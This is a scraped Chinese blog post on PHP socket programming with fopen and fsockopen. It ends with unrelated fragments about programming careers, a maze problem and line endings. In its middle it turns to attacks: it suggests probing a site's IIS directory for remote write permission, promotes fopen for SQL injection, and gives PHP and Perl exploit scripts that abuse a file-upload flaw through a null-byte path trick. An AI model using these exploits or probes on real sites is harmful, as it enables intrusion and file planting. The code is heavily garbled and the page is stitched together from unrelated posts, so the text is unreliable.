PHP SOCKETS程式設計問題

2021-03-31 08:56:57 字數 4684 閱讀 6468

前面一段談到命令列方式的執行。更多請參照

1.fopen的應用

fopen也可以被稱作被封裝的socket函式。不僅用於檔案讀寫,還可以用於socket。fopen相當於其他高階語言的i***控制項/類,較於fsockopen,他對於url的操作更高階。

fopen的使用方法

$s = fopen ($url, mode);

fopen的mode屬性:

mode 說明

'r' 唯讀方式開啟,將檔案指標指向檔案頭。

'r+' 讀寫方式開啟,將檔案指標指向檔案頭。

'w' 寫入方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。

'w+' 讀寫方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。

'a' 寫入方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。

'a+' 讀寫方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。

'x' 建立並以寫入方式開啟,將檔案指標指向檔案頭。如果檔案已存在,則 fopen() 呼叫失敗並返回 false,並生成一條 e_warning 級別的錯誤資訊。如果檔案不存在則嘗試建立之。這和給 底層的 open(2) 系統呼叫指定 o_excl|o_creat 標記是等價的。此選項被 php 4.3.2 以及以後的版本所支援,僅能用於本地檔案。

'x+' 建立並以讀寫方式開啟,將檔案指標指向檔案頭。如果檔案已存在,則 fopen() 呼叫失敗並返回 false,並生成一條 e_warning 級別的錯誤資訊。如果檔案不存在則嘗試建立之。這和給 底層的 open(2) 系統呼叫指定 o_excl|o_creat 標記是等價的。此選項被 php 4.3.2 以及以後的版本所支援,僅能用於本地檔案。

即用於本地檔案的操作,也可以用於i***。是不是很kool?

假如要測試乙個站的iis目錄是不是有寫許可權。

可以這樣寫

) or die(「不存在寫許可權」)

如果存在的話,你可以繼續構造下面的語句。用fwrite 遠端寫入檔案。

但是一般的**都是唯讀許可權的

);這樣就讀入了

的內容,但是還得經過處理才能獲取完整的檔案內容

這樣while (!feof($s))

我認為fopen用於sql injection是最方便不過的了。

引用

function phpi***($url)

retrun $cahe;

fclose($s);

}

這段函式等同於vb中的i***.openurl

fsockopen等函式的使用

fsockopen也是被封裝的一類socket函式.有點類似於vb中的winsock控制項.令人遺憾的是它支援主動socket連線,不支援bind,listen等,如果需要實現這些功能,則要使用php中的高階socket程式設計.即便是這樣,fsockopen函式也能滿足大多數的需求.

這樣使用fsockopen

resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])

例子:$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);

前面2個是位址和埠,中間2個是有關錯誤的變數,最後就是timeout設定了.

通常$sock = fsockopen("192.168.0.1",80);這樣即可.

$sock = fsockopen("192.168.0.1",80);這是典型的tcp連線.udp連線這樣來

$sock = fsockopen("udp://192.168.0.1",53);

用這個來寫乙個tftp的客戶端也是可以的.

fsockopen的應用例項:

例項一,簡單的http會話.

**  

<?php

$fp = fsockopen(".example.***"

, 80, $errno, $errstr, 30);

if (!$fp) else

fclose($fp);

}?>  

流程一般是這樣的

建立fsockopen 資源,定義傳送內容,用fwrite函式或者fputs函式寫入定義內容,一行一行的輸出得到的內容,直到到達檔案末尾,fgets函式或者是fread使用.使用fclose關閉建立的fsockopen 資源.

angel寫了乙個php的埠掃瞄工具,貼出之

選擇fsockopen 來寫簡單exp傳送框架絕對是個goodidea.becoz it's so easy.

看我的php上傳漏洞的exp.

**  

引用

<?php

#msn:cqxy[at]21**.***

$sock = fsockopen(".ririririri.***",80

);if (!$sock)

$body = "-----------------------------7d41f4a600472/r/n".

"content-disposition: form-data; name=/"path/"/r/n".

"/r/n".

".ppp%00

./r/n".

"accept-language: zh-**/r/n".

"content-type: multipart/form-data; boundary=---------------------------7d41f4a600472/r/n".

"accept-encoding: gzip, deflate/r/n".

"user-agent: mozilla/4.0 (***patible; msie 6.0; windows nt 5.2; hotbar 4.4.6.0; .*** clr 1.1.4322)/r/n".

"host: 127.0.0.1/r/n".

"content-length: strlen($body)/r/n".

"connection: keep-alive/r/n".

"cache-control: no-cache/r/n".

"cookie: phpsessid=111111111111111111111111/r/n".

"/r/n";

fputs($sock,$header);

sleep(1);

fputs($sock,$body);

while (!feof($sock))

fclose($sock);

?>

再來看xiaolu用perl寫的exp

**  

引用

#!/usr/bin/perl

$| = 1;

use socket;

$host = "127.0.0.1";

$port = "80";

$uploadto = "";

$str =

"-----------------------------7d41f4a600472/r/n".

"content-disposition: form-data; name=/"path/"/r/n".

"/r/n".

".ppp%00

./r/n".

"accept-language: zh-**/r/n".

"content-type: multipart/form-data; boundary=---------------------------7d41f4a600472/r/n".

"accept-encoding: gzip, deflate/r/n".

"user-agent: mozilla/4.0 (***patible; msie 6.0; windows nt 5.2; hotbar 4.4.6.0; .*** clr 1.1.4322)/r/n".

"host: 127.0.0.1/r/n".

"content-length: $len/r/n".

"connection: keep-alive/r/n".

"cache-control: no-cache/r/n".

"cookie: phpsessid=111111111111111111111111/r/n".

"/r/n".

"$str/r/n/r/n";

print $req;

@res = sendraw($req);

print @res;

#hmm...maybe you can send it by other way

sub sendraw

誰更簡單,一目了然.

到這裡可能大家對fsockopen 的使用有一定了解了.

下次該談php-sockets高階程式設計.乙個更強大的php將驚現在面前

程式設計的問題

首先,你們如果想要選擇軟體程式設計這一方面的話,我建議你們最好先去大致地了解一下你們將要選擇的計算機程式語言,在這裡我盡量不用一些專業術語,如果有不懂的在樓中樓提問.請不要隨便插樓 還有你們以後的工作環境,和工作內容.這對你們的選擇將起到至關重要的作用 其次是學習計算機程式語言的難度指數,可以說只要...

程式設計 迷宮問題

問題描述 給定乙個大小為n m的迷宮。迷宮有通道和牆壁組成,每一步可以向鄰接的上下左右的通道移動。請求出從起點到終點所需要的最小步數。例如,n為10,m為10,輸入的迷宮如下表示,其中s表示起點,g表示終點,表示通道,表示牆壁 s g 則輸出為22。解法 可以將每一步看作是一次狀態轉移,要求步數最少...

常見程式設計問題

1 回車換行問題 在早期的印表機時代,開始新的一行要占用兩個字元的時間。如果到了一行的結尾處,你要快速回到新的一行的開頭,需要列印針頭在紙面上飛快地掠過,常常會在紙面上留下汙點。解決這個問題的辦法就是,用兩個字元 乙個字元來移到第一列,另乙個字元來新增一行。計算機產生以後,儲存較為昂貴,在如何解決回...